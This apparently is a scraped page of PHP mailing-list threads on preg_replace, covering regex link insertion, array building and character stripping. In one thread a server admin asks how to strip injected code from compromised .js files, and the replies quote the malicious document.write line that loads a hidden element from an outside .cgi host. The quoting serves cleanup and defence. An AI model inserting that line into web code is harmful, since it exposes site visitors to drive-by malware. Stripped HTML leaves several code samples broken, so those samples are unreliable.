Re: [PHP] preg_replace question
On 13/12/2012, at 10:08 AM, Curtis Maurand wrote: > On 12/12/2012 3:47 PM, Maciek Sokolewicz wrote: >> On 12-12-2012 21:10, Curtis Maurand wrote: >>> On 12/12/2012 12:00 PM, Maciek Sokolewicz wrote: On 12-12-2012 17:11, Curtis Maurand wrote: First of all, why do you want to use preg_replace when you're not actually using regular expressions??? Use str_replace or stri_replace instead. Aside from that, escapeshellarg() escapes strings for use in shell execution. Perl Regexps are not shell commands. It's like using mysqli_real_escape_string() to escape arguments for URLs. That doesn't compute, just like your way doesn't either. If you DO wish to escape arguments for a regular expression, use preg_quote instead, that's what it's there for. But first, reconsider using preg_replace, since I honestly don't think you need it at all if the way you've posted (preg_replace(escapeshellarg($string),$replacement)) is the way you want to use it. >>> Thanks for your response. I'm open to to using str_replace. no issue >>> there. my main question was how to properly get a string of javascript >>> into a string that could then be processed. I'm not sure I can just put >>> that in quotes and have it work.There are colons, "<",">", >>> semicolons, and doublequotes. Do I just need to rifle through the >>> string and escape the reserved characters or is there a function for that? >>> >>> --C >> >> Why do you want to escape them? There are no reserved characters in the case >> of str_replace. You don't have to put anything in quotes. For example: >> >> $string = 'This is a > characters' >> echo str_replace('supposedly', 'imaginary', $string) >> would return: >> This is a > >> So... why do you want to "escape" these characters? >> > So what about things like quotes within the string or semi-colons, colons and > slashes? Don't these need to be escaped when you're loading a string into a > variable? > > ;document.write(' style="width:100px;height:100px;position:absolute;left:-100px;top:0;" > src="http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>'); > > I need to enclose this entire string and replace it with "" > > Thanks The only thing you have to worry about is quotes characters. Assuming you're running 5.3+, just use now docs (http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc). $String = <<<'STRING' ;document.write('http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>'); STRING; --- Simon Welsh Admin of http://simon.geek.nz/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace question
I have several poisoned .js files on a server. I can use find to recursively find them and then use preg_replace to replace the string. However the string is filled with single quotes, semi-colons and a lot of other special characters. Will preg_relace(escapeshellarg($String),$replacement) work or do I need to go through the entire string and escape what needs to be escaped? --C -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
$internal_links=array(); I prefer to init arrays, it also avoids unnecessary notices, and sometimes weird results, but either one of those while loops should make the desired array while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { array_push($internal_links, array('phrase'=>$row['phrase'], 'link'=>$row['link'])); } or while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $internal_links[] = array('phrase'=>$row['phrase'], 'link'=>$row['link']); } or while($row = mysql_fetch_object($result)) { $internal_links[] = array('phrase'=>$row->phrase, 'link'=>$row->link); } (you can figure out how to do it with array_push if you choose to, but you get the general idea) ~ Alex On Jan 25, 2011 6:35 AM, "Merlin Morgenstern" wrote: > Am 24.01.2011 18:08, schrieb Alex Nikitin: >> If you declare your arrays, and set k to 0 first, put quotes around array >> values and use the correct limit (you can default to -1), you will get >> results, here is code and example (hopefully this helps you) >> >> >> > function internal_links($str, $links, $limit=-1) { >> $pattern=array(); >> $replace=array(); >> $k=0; >> foreach($links AS $link){ >> $pattern[$k] = "~\b({$link['phrase']})\b~i"; >> $replace[$k] = '\\1'; >> $k++; >> } >> return preg_replace($pattern,$replace,$str, $limit); >> } >> >> echo internal_links("süße knuffige Beagle Welpen ab sofort", >> array(array('phrase'=>"beagle", >> 'link'=>"http://google.com";),array('phrase'=>"welpen", >> 'link'=>"http://wolframalpha.com";)), -1); >> >> Output: >> süße knuffigehttp://google.com";>Beagle http://wolframalpha.com";>Welpen ab >> >> ~Alex >> > > Hello, > > thank you all for your help. It seems that I am building the array > wrong. Your code works with that array: > > $internal_links = array(array('phrase'=>"beagle", > 'link'=>"http://google.com";),array('phrase'=>"welpen", > 'link'=>"http://wolframalpha.com";)); > > I am pulling the data out of a DB and am using this code: > while ($row = mysql_fetch_object($result)){ > $internal_links[$row->ID]['phrase'] = $row->phrase; > $internal_links[$row->ID]['link'] = $row->link; > } > > You build the array different, could you help me to adapt this on my > code? I tried $internal_links['phrase'][] as well, but that did not help > either. > > Thank you for any help, > > Merlin > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php >
Re: [PHP] preg_replace question
On 25 January 2011 12:04, Merlin Morgenstern wrote: > Am 25.01.2011 12:31, schrieb Merlin Morgenstern: >> >> Am 24.01.2011 18:08, schrieb Alex Nikitin: >>> >>> If you declare your arrays, and set k to 0 first, put quotes around array >>> values and use the correct limit (you can default to -1), you will get >>> results, here is code and example (hopefully this helps you) >>> >>> >>> >> function internal_links($str, $links, $limit=-1) { >>> $pattern=array(); >>> $replace=array(); >>> $k=0; >>> foreach($links AS $link){ >>> $pattern[$k] = "~\b({$link['phrase']})\b~i"; >>> $replace[$k] = '\\1'; >>> $k++; >>> } >>> return preg_replace($pattern,$replace,$str, $limit); >>> } >>> >>> echo internal_links("süße knuffige Beagle Welpen ab sofort", >>> array(array('phrase'=>"beagle", >>> 'link'=>"http://google.com";),array('phrase'=>"welpen", >>> 'link'=>"http://wolframalpha.com";)), -1); >>> >>> Output: >>> süße knuffigehttp://google.com";>Beagle http://wolframalpha.com";>Welpen ab >>> >>> ~Alex >>> >> >> Hello, >> >> thank you all for your help. It seems that I am building the array >> wrong. Your code works with that array: >> >> $internal_links = array(array('phrase'=>"beagle", >> 'link'=>"http://google.com";),array('phrase'=>"welpen", >> 'link'=>"http://wolframalpha.com";)); >> >> I am pulling the data out of a DB and am using this code: >> while ($row = mysql_fetch_object($result)){ >> $internal_links[$row->ID]['phrase'] = $row->phrase; >> $internal_links[$row->ID]['link'] = $row->link; >> } >> >> You build the array different, could you help me to adapt this on my >> code? I tried $internal_links['phrase'][] as well, but that did not help >> either. >> >> Thank you for any help, >> >> Merlin > > > HI Again :-) > > the building of my array seems fine. Here is what goes wrong: > > If you use this array: $internal_links = array(array('phrase'=>"Beagle > Welpen", 'link'=>"http://wolframalpha.com";), array('phrase'=>"Welpen", > 'link'=>"http://google.com";)); > > Then it will fail as well. This is because the function will replace "Beagle > Welpen" with the hyperlink and after that replace the word "welpen" inside > the hyperlink again with a hyperlink. > > Is there a function which will not start looking for the words at the > beginnning of the text for each replacement, but simply continue where it > did the last replacement? > > Thank you for any help, > > Merlin > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > > The solution I've used in the past for this sort of issue (recursive replacements when not wanted) is to replace each known part with a unique placeholder. Once the initial data has been analysed and the placeholders are in place, then replace the placeholders with the correct value. So, rather than ... $internal_links = array ( array('phrase'=>"Beagle Welpen", 'link'=>"http://wolframalpha.com";), array('phrase'=>"Welpen", 'link'=>"http://google.com";) ); Use ... $internal_links = array ( array('phrase'=>'Beagle Welpen', 'link'=>'_RAQ_TAG_1_'), array('phrase'=>'Welpen','link'=>'_RAQ_TAG_2_'), array('phrase'=>'_RAQ_TAG_1_''link'=>'http://wolframalpha.com'), array('phrase'=>'_RAQ_TAG_2_''link'=>'http://google.com'), ); By keeping them in the above order, each phrase will be replaced in the same way. Obviously, if your text includes _RAQ_TAG_1_ or _RAQ_TAG_2_ then you will have to use more appropriate tags. Richard. -- Richard Quadling Twitter : EE : Zend @RQuadling : e-e.com/M_248814.html : bit.ly/9O8vFY -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
Am 25.01.2011 12:31, schrieb Merlin Morgenstern: Am 24.01.2011 18:08, schrieb Alex Nikitin: If you declare your arrays, and set k to 0 first, put quotes around array values and use the correct limit (you can default to -1), you will get results, here is code and example (hopefully this helps you) \\1'; $k++; } return preg_replace($pattern,$replace,$str, $limit); } echo internal_links("süße knuffige Beagle Welpen ab sofort", array(array('phrase'=>"beagle", 'link'=>"http://google.com";),array('phrase'=>"welpen", 'link'=>"http://wolframalpha.com";)), -1); Output: süße knuffigehttp://google.com";>Beagle http://wolframalpha.com";>Welpen ab ~Alex Hello, thank you all for your help. It seems that I am building the array wrong. Your code works with that array: $internal_links = array(array('phrase'=>"beagle", 'link'=>"http://google.com";),array('phrase'=>"welpen", 'link'=>"http://wolframalpha.com";)); I am pulling the data out of a DB and am using this code: while ($row = mysql_fetch_object($result)){ $internal_links[$row->ID]['phrase'] = $row->phrase; $internal_links[$row->ID]['link'] = $row->link; } You build the array different, could you help me to adapt this on my code? I tried $internal_links['phrase'][] as well, but that did not help either. Thank you for any help, Merlin HI Again :-) the building of my array seems fine. Here is what goes wrong: If you use this array: $internal_links = array(array('phrase'=>"Beagle Welpen", 'link'=>"http://wolframalpha.com";), array('phrase'=>"Welpen", 'link'=>"http://google.com";)); Then it will fail as well. This is because the function will replace "Beagle Welpen" with the hyperlink and after that replace the word "welpen" inside the hyperlink again with a hyperlink. Is there a function which will not start looking for the words at the beginnning of the text for each replacement, but simply continue where it did the last replacement? Thank you for any help, Merlin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
Am 24.01.2011 18:08, schrieb Alex Nikitin: If you declare your arrays, and set k to 0 first, put quotes around array values and use the correct limit (you can default to -1), you will get results, here is code and example (hopefully this helps you) \\1'; $k++; } return preg_replace($pattern,$replace,$str, $limit); } echo internal_links("süße knuffige Beagle Welpen ab sofort", array(array('phrase'=>"beagle", 'link'=>"http://google.com";),array('phrase'=>"welpen", 'link'=>"http://wolframalpha.com";)), -1); Output: süße knuffigehttp://google.com";>Beagle http://wolframalpha.com";>Welpen ab ~Alex Hello, thank you all for your help. It seems that I am building the array wrong. Your code works with that array: $internal_links = array(array('phrase'=>"beagle", 'link'=>"http://google.com";),array('phrase'=>"welpen", 'link'=>"http://wolframalpha.com";)); I am pulling the data out of a DB and am using this code: while ($row = mysql_fetch_object($result)){ $internal_links[$row->ID]['phrase'] = $row->phrase; $internal_links[$row->ID]['link'] = $row->link; } You build the array different, could you help me to adapt this on my code? I tried $internal_links['phrase'][] as well, but that did not help either. Thank you for any help, Merlin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
On 1/24/2011 8:00 AM, Merlin Morgenstern wrote: > Hi there, > > I am trying to replace certain words inside a text with php. Unfortunatelly my > function is creating invalid html as output. > > For example the words "beagle" and "welpen" have to be replaced inside this > text: "süße knuffige Beagle Welpen ab sofort" > > My result looks like this: > zwei süße knuffige Beagle href="/bsp/hunde">Welpen > > The problem is, that my function is not closing the href tag before it starts > to > replace the next item. > > Here is the code: > > > // create internal links > function internal_links($str, $links, $limit) { > foreach($links AS $link){ > $pattern[$k] = "~\b($link[phrase])\b~i"; > $replace[$k] = '\\1'; > $k++; > } > return preg_replace($pattern,$replace,$str, $limit); > } > > I > > > I could not find a way to fix this and I would be happy for some help. Thank > you > in advance! > > Merlin > Do you have control over the building of the initial "phrase" => "link" assoc? If so, reverse the order of these two items. Jim Lucas -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
If you declare your arrays, and set k to 0 first, put quotes around array values and use the correct limit (you can default to -1), you will get results, here is code and example (hopefully this helps you) \\1'; $k++; } return preg_replace($pattern,$replace,$str, $limit); } echo internal_links("süße knuffige Beagle Welpen ab sofort", array(array('phrase'=>"beagle", 'link'=>"http://google.com";),array('phrase'=>"welpen", 'link'=>"http://wolframalpha.com";)), -1); Output: süße knuffige http://google.com";>Beagle http://wolframalpha.com";>Welpen ab ~Alex
Re: [PHP] preg_replace question
Without seeing the code that creates the arrays, it's tough to see the problem. It looks like the first replacement is catching "Beagle Welpen" entirely since the closing tag gets placed after "Welpen". Then the second replacement does just "Welpen". Also, you should have quotes around "link" when building the $replace[] entry since the array access is outside quotes. Finally, you don't need $k here at all. // create internal links function internal_links($str, $links, $limit) { foreach($links AS $link){ $pattern[] = "~\b($link[phrase])\b~i"; $replace[] = '\\1'; } return preg_replace($pattern,$replace,$str, $limit); } David
[PHP] preg_replace question
Hi there, I am trying to replace certain words inside a text with php. Unfortunatelly my function is creating invalid html as output. For example the words "beagle" and "welpen" have to be replaced inside this text: "süße knuffige Beagle Welpen ab sofort" My result looks like this: zwei süße knuffige Beagle href="/bsp/hunde">Welpen The problem is, that my function is not closing the href tag before it starts to replace the next item. Here is the code: // create internal links function internal_links($str, $links, $limit) { foreach($links AS $link){ $pattern[$k] = "~\b($link[phrase])\b~i"; $replace[$k] = '\\1'; $k++; } return preg_replace($pattern,$replace,$str, $limit); } I I could not find a way to fix this and I would be happy for some help. Thank you in advance! Merlin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace() question
On Wed, 2009-03-18 at 22:55 +0800, Virgilio Quilario wrote: > > 1. What is the overhead on preg_replace? > > it really depends on your operation. when you think it can be done > using str* functions then go for it as they are much faster than preg* > functions. > > > 2. Is there a better way to strip spaces and non alpha numerical > > characters from text strings? I suspect not... maybe the Shadow does ??? > > if those characters are in the middle, preg_replace is the right function. Unless you know how many, it's probably the right function even if they're at the front or end. preg_replace() is almost certainly faster (in this particular case) than making two function calls. Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace() question
> 1. What is the overhead on preg_replace? it really depends on your operation. when you think it can be done using str* functions then go for it as they are much faster than preg* functions. > 2. Is there a better way to strip spaces and non alpha numerical > characters from text strings? I suspect not... maybe the Shadow does ??? if those characters are in the middle, preg_replace is the right function. virgil http://www.jampmark.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace() question
> 1. What is the overhead on preg_replace? Minimal. If you're looking for all the speed you can get, you'd probably be better off with an str* function though if you can find one. You'd have to be seriously after speed gains though. > 2. Is there a better way to strip spaces and non alpha numerical > characters from text strings? I suspect not... Have a look through the string functions. the ctype_* functions too. See if one fits your needs. -- Richard Heyes HTML5 Canvas graphing for Firefox, Chrome, Opera and Safari: http://www.rgraph.net (Updated March 14th) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace() question
PJ wrote: 1. What is the overhead on preg_replace? Compared to what? If you write a 3 line regex, it's going to take some processing. 2. Is there a better way to strip spaces and non alpha numerical characters from text strings? I suspect not... maybe the Shadow does ??? For this, preg_replace is probably the right option. -- Postgresql & php tutorials http://www.designmagick.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace() question
1. What is the overhead on preg_replace? 2. Is there a better way to strip spaces and non alpha numerical characters from text strings? I suspect not... maybe the Shadow does ??? :-D -- unheralded genius: "A clean desk is the sign of a dull mind. " - Phil Jourdan --- p...@ptahhotep.com http://www.ptahhotep.com http://www.chiccantine.com/andypantry.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace Question
Richard Luckhurst wrote: > e.g $amount = $524.00 however only 4.00 is displayed in the %Amount > field on the html page. I tried dropping the .00 from $amount to see > if this might be a length issue and then %Amount was just 4 > Am I doing something obviously wrong here? I have checked the php > manual and I appear to be using preg_replace correctly. >From the manual: "replacement may contain references of the form \\n or (since PHP 4.0.4) $n, with the latter form being the preferred one" If you use $amount ='\$524.00' instead of '$524.00', it'll work. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace Question
Hi List I am trying to perform a number of replacements of place holders in an html page I am working on using preg_replace. I am stuck with a pronlem I can not work out and would appreciate some help. The code I have is as follows $html = preg_replace('/%Amount/',$amount,$html); $html is the source of a html page $amount is set earlier to a value read from a file When I view the html page the value of %Amount is not what I would expect. e.g $amount = $524.00 however only 4.00 is displayed in the %Amount field on the html page. I tried dropping the .00 from $amount to see if this might be a length issue and then %Amount was just 4 Am I doing something obviously wrong here? I have checked the php manual and I appear to be using preg_replace correctly. Regards, Richard Luckhurst Product Development Exodus Systems - Sydney, Australia. [EMAIL PROTECTED] Tel: (+612) 4751-9633 Fax: (+612) 4751-9644 Web: www.resmaster.com = Exodus Systems - Smarter Systems, Better Business = -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
Zoran Lorkovic wrote: Btw, where I can find patterns that are valid? (something like (\w+), (\d+)+i etc. http://www.php.net/manual/en/reference.pcre.pattern.syntax.php http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
Zoran Lorkovic wrote: Sorry for issuing this again, but I need help with preg_replace. I manage to replace certain text between in text with preg_replace but I want for every other to be replaced by other text. By this I mean when some text between has been found that text is replaced with some Text, on second match, text between is replaced by some other different text etc. Btw, where I can find patterns that are valid? (something like (\w+), (\d+)+i etc. Use preg_replace_callback() with a static variable within the callback function. Increment the variable each time the function is called and then based upon whether it's odd or even, substitute the appropriate string. -- ---John Holmes... Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/ php|architect: The Magazine for PHP Professionals – www.phparch.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace question
Hi Sorry for issuing this again, but I need help with preg_replace. I manage to replace certain text between in text with preg_replace but I want for every other to be replaced by other text. By this I mean when some text between has been found that text is replaced with some Text, on second match, text between is replaced by some other different text etc. Btw, where I can find patterns that are valid? (something like (\w+), (\d+)+i etc. Thanks. Regards. Zoran
Re: [PHP] preg_replace question
Finaly I got the solution. Replace all line breaks by but not after a html headline (..) $text = preg_replace("/(?)\r\n/","\\1",$text); - Original Message - From: "Armand Turpel" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Saturday, September 20, 2003 7:34 PM Subject: Re: [PHP] preg_replace question > Hi Jim , > The problem with your proposition is that the preg_replace do not replace > \r\n to > thats good, > but also not this: > testh4>\r\n > > and thats not what I expect from. > > > atur > > > > > > > - Original Message - > From: "Jim Lucas" <[EMAIL PROTECTED]> > To: "Armand Turpel" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> > Sent: Saturday, September 20, 2003 5:37 PM > Subject: Re: [PHP] preg_replace question > > > > $arr = array("/([^\<][^\/][^h][^1-6].{1}[^\>])\r\n/", > > "/([^\<][^\/][^h][^1-6].{1}[^\>])\r/", > > "/([^\<][^\/][^h][^1-6].{1}[^\>])\n/", > > ); > > > > $text = preg_replace($arr,"\\1",$text); > > > > you might try this and see how well it works. > > > > Jim Lucas > > > > > > - Original Message - > > From: "Armand Turpel" <[EMAIL PROTECTED]> > > To: <[EMAIL PROTECTED]> > > Sent: Saturday, September 20, 2003 8:21 AM > > Subject: [PHP] preg_replace question > > > > > > > I need the following replace function: > > > Replace all line breaks to but not if a line break comes after an > > > > > or or > > > > > > > > > Currently I use this preg_replace but it's not good enough for all > > > situations. > > > > > > $text = preg_replace("/([^\<][^\/][^h][^1-9].{1})\r\n/","\\1 > />",$text); > > > > > > > > > > > > > > > Thanks > > > > > > -- > > > PHP General Mailing List (http://www.php.net/) > > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > > > > > > > > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > > > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
Hi Jim , The problem with your proposition is that the preg_replace do not replace \r\n to thats good, but also not this: testh4>\r\n and thats not what I expect from. atur - Original Message - From: "Jim Lucas" <[EMAIL PROTECTED]> To: "Armand Turpel" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Saturday, September 20, 2003 5:37 PM Subject: Re: [PHP] preg_replace question > $arr = array("/([^\<][^\/][^h][^1-6].{1}[^\>])\r\n/", > "/([^\<][^\/][^h][^1-6].{1}[^\>])\r/", > "/([^\<][^\/][^h][^1-6].{1}[^\>])\n/", > ); > > $text = preg_replace($arr,"\\1",$text); > > you might try this and see how well it works. > > Jim Lucas > > > - Original Message - > From: "Armand Turpel" <[EMAIL PROTECTED]> > To: <[EMAIL PROTECTED]> > Sent: Saturday, September 20, 2003 8:21 AM > Subject: [PHP] preg_replace question > > > > I need the following replace function: > > Replace all line breaks to but not if a line break comes after an > > > or or > > > > > > Currently I use this preg_replace but it's not good enough for all > > situations. > > > > $text = preg_replace("/([^\<][^\/][^h][^1-9].{1})\r\n/","\\1 />",$text); > > > > > > > > > > Thanks > > > > -- > > PHP General Mailing List (http://www.php.net/) > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
$arr = array("/([^\<][^\/][^h][^1-6].{1}[^\>])\r\n/", "/([^\<][^\/][^h][^1-6].{1}[^\>])\r/", "/([^\<][^\/][^h][^1-6].{1}[^\>])\n/", ); $text = preg_replace($arr,"\\1",$text); you might try this and see how well it works. Jim Lucas - Original Message - From: "Armand Turpel" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Saturday, September 20, 2003 8:21 AM Subject: [PHP] preg_replace question > I need the following replace function: > Replace all line breaks to but not if a line break comes after an > or or > > > Currently I use this preg_replace but it's not good enough for all > situations. > > $text = preg_replace("/([^\<][^\/][^h][^1-9].{1})\r\n/","\\1",$text); > > > > > Thanks > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace question
I need the following replace function: Replace all line breaks to but not if a line break comes after an or or Currently I use this preg_replace but it's not good enough for all situations. $text = preg_replace("/([^\<][^\/][^h][^1-9].{1})\r\n/","\\1",$text); Thanks -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
[EMAIL PROTECTED] wrote: > Then use a simple strstr to first find out if the string does contain > mydomain.com :-) My example was a simple one. I can't just check to see if the string contains the mydomain.com first because I am not passing a string to preg_replace but a whole text file. I want preg_replace to replace all occurrences in the text file of the regexp: "#http://www.mydomain.com. How can I get preg_replace to ignore instances of http://www.mydomain.com when it is doing it's global search and replace? Thanks, Jean-Christian Imbeault -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
Then use a simple strstr to first find out if the string does contain mydomain.com :-) Jean-Christian IMbeault wrote: I found this nice preg_replace function that replaces all occurrences of an HTML anchor ( preg_replace( "# I'd like to modify this expression so that it does the same thing but *only* if the link is not to a specific page. I.e. I would like to replace all links *unless* the link was to, for example, www.mydomain.com. How can I achieve this with a regexp? I'm not very good at 'negative' regexp ... Thanks, Jean-Christian Imbeault -- Raditha Dissanayake - http://www.radinks.com/sftp/ Lean and mean Secure FTP applet with Graphical User Inteface. just 150 Kilo Bytes -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace question
I found this nice preg_replace function that replaces all occurrences of an HTML anchor ( preg_replace( "# I'd like to modify this expression so that it does the same thing but *only* if the link is not to a specific page. I.e. I would like to replace all links *unless* the link was to, for example, www.mydomain.com. How can I achieve this with a regexp? I'm not very good at 'negative' regexp ... Thanks, Jean-Christian Imbeault -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question,
> the current function been put in place replaces [f1253f] with a file, for > inside cms content , where 1253 is the key or the id of the filename in > the > database , therefore to denote its an ftool they added f's around the keys > , > so maybe i could get away with [1253], what else i'm asking if > preg_replace is > more efficient over eregi_replace ? Yeah, it is. preg_match_all("/\[f([0-9]+)f\]/i",$string,$matches); $matches will then contain the numbers you're looking for (in an array). Read the file or whatever you need, then do another replace to put the file contents in place of the code. If you read it like this: $file['1234'] = "data from file 1234"; $file['3456'] = "data from file 3456"; You can use the following to replace the tags preg_replace("/\[f([0-9]+)\]/ie",'$file[$1]',$string); the last one is untested, but something like that works. The key is the 'e' modifier. If you know you're always going to have lower case 'f' characters, then remove the 'i' modifier from each pattern. ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question,
the current function been put in place replaces [f1253f] with a file, for inside cms content , where 1253 is the key or the id of the filename in the database , therefore to denote its an ftool they added f's around the keys , so maybe i could get away with [1253], what else i'm asking if preg_replace is more efficient over eregi_replace ? >= Original Message From <[EMAIL PROTECTED]> = >> yes another one sorry, i'm trying to find the most efficient way to do >a >> replactment over this >> eregi_replace("\[f$key\f\]","$value",format_content($content));, would >> preg_replace be quicker and how could i go about it ? >> >> i'd need to replace [f1247f] with its replacement value better still >maybe >> even [1313431] is needed ? i dont know why they has f's in there ? > >What exactly are you trying to match and replace? Anything between [ and >]? Is 'f' the only letter that might appear? Is there a limit on the >amount of numbers that'll be between [ and ]? Are you replacing all >matches with the same $value? > >---John W. Holmes... > >PHP Architect - A monthly magazine for PHP Professionals. Get your copy >today. http://www.phparch.com/ > > > >-- >PHP General Mailing List (http://www.php.net/) >To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] preg_replace question,
> yes another one sorry, i'm trying to find the most efficient way to do a > replactment over this > eregi_replace("\[f$key\f\]","$value",format_content($content));, would > preg_replace be quicker and how could i go about it ? > > i'd need to replace [f1247f] with its replacement value better still maybe > even [1313431] is needed ? i dont know why they has f's in there ? What exactly are you trying to match and replace? Anything between [ and ]? Is 'f' the only letter that might appear? Is there a limit on the amount of numbers that'll be between [ and ]? Are you replacing all matches with the same $value? ---John W. Holmes... PHP Architect - A monthly magazine for PHP Professionals. Get your copy today. http://www.phparch.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace question,
yes another one sorry, i'm trying to find the most efficient way to do a replactment over this eregi_replace("\[f$key\f\]","$value",format_content($content));, would preg_replace be quicker and how could i go about it ? i'd need to replace [f1247f] with its replacement value better still maybe even [1313431] is needed ? i dont know why they has f's in there ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] preg_replace question
On Monday 23 December 2002 18:34, electroteque wrote: > yet another regex question how could i hange the value within the quotes > with preg_replace > > php_value upload_max_filesize "5M" If "php_value upload_max_filesize " is fixed then there is no need to use preg_replace. Just use a simple substr_replace() or similar. -- Jason Wong -> Gremlins Associates -> www.gremlins.biz Open Source Software Systems Integrators * Web Design & Hosting * Internet & Intranet Applications Development * /* She ran the gamut of emotions from 'A' to 'B'. -- Dorothy Parker, on a Kate Hepburn performance */ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] preg_replace question
yet another regex question how could i hange the value within the quotes with preg_replace php_value upload_max_filesize "5M" -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Preg_replace question
I've been down the road of attempting to do this with regular expressions... i'm no expert, but i work with people who are, and it was a nightmare given that the following are common/valid href=something.php href = 'something.php' href='something.php' href = "something.php" href="something.php" AND you'll have potentially MANY tags with MANY allowed attributes, it turns into quite a complex regexp really quickly... i decided that I should probably do it all with a parser, or even a char-by-char analysis/state engine, but never got much further... Justin French on 22/11/02 1:38 AM, David Russell ([EMAIL PROTECTED]) wrote: > Hi all, > > Following on from a previous discussion, I am trying to write a "safe" > strip_tags function. > > I start by applying htmlentities to the entire string, and then convert > "allowed" tags back. > > One of the steps I am looking at doing is to replace something " href="blah" onmouseover="blah">" with "" > > What would be a good preg_replace string for this? > > Preg_replace('/( Except I need to keep the href="" as well as the closing >, > but drop everything else. > > I will be googling on this too, but a reply from this group is always > quicker > > Thanks > > David Russell > IT Support Manager > Barloworld Optimus (Pty) Ltd > Tel: +2711 444-7250 > Fax: +2711 444-7256 > e-mail: [EMAIL PROTECTED] > web: www.BarloworldOptimus.com > Justin French http://Indent.com.au Web Developent & Graphic Design -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Preg_replace question
At 15:38 21.11.2002, David Russell spoke out and said: [snip] >One of the steps I am looking at doing is to replace something "href="blah" onmouseover="blah">" with "" [snip] I found it way easier not to look for encoded values but for the characters themselves, as it is a lot easier with regexes to scan for characters (or, better, to scanb for everything EXCEPT a certain character). So I once took this approach: Step 1 - extract all "allowed" tags Step 2 - htmlentitize the string Step 3 - put the pieces together again You need to consider that there may be multiple possibilities to write a link tag (other tags too): < a title = "bar" href = "foo" any="other"> etc etc. So you must be looking for the "href" portion, enclosed by (encoded) angle brackets: $re = '/(.*?)(<\s*a\s*[^>]+?href.*?>)(.*)/i'; This reads as ( build a group .*? with anything until the very next '<' (below) ) end group ( build a group < beginning with '<' \s*a\s+ followed by optional blanks and an 'a' followed by at least one blank [^>]*? followed by anything EXCEPT '>' until the very next href"href" .*? followed by anything until the very next > '>' ) end group The 'i' modifier makes that expression case insenitive. Next we parse the whole buffer for the href: $result = null; while ($buffer && $preg_match($re, $buffer, $aresult)) { // $aresult is: // [0] - whole buffer // [1] 